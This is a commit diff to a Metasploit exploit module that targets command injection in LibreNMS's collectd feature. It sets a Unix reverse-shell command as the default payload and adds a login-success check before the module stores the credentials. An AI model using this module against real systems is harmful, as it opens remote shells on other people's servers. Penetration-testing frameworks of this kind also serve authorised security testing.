add default payload, check login

rapid7 · Aug 13, 2019 · 70d5bd4 · 70d5bd4
1 parent 286263c
commit 70d5bd4
Showing 1 changed file with 4 additions and 2 deletions.
diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb
@@ -38,8 +38,9 @@ def initialize(info = {})
       [
         [ 'Linux',
           {
-            'Platform' =>  'unix',
-            'Arch'     =>  ARCH_CMD
+            'Platform'        =>  'unix',
+            'Arch'            =>  ARCH_CMD,
+            'DefaultOptions'  =>  { 'Payload' => 'cmd/unix/reverse' }
           }
         ]
       ],
@@ -99,6 +100,7 @@ def login
       'uri'     =>  normalize_uri(target_uri.path),
       'cookie'  =>  cookies
     )
+    fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')
 
     print_status('Successfully logged into LibreNMS. Storing credentials...')
     store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])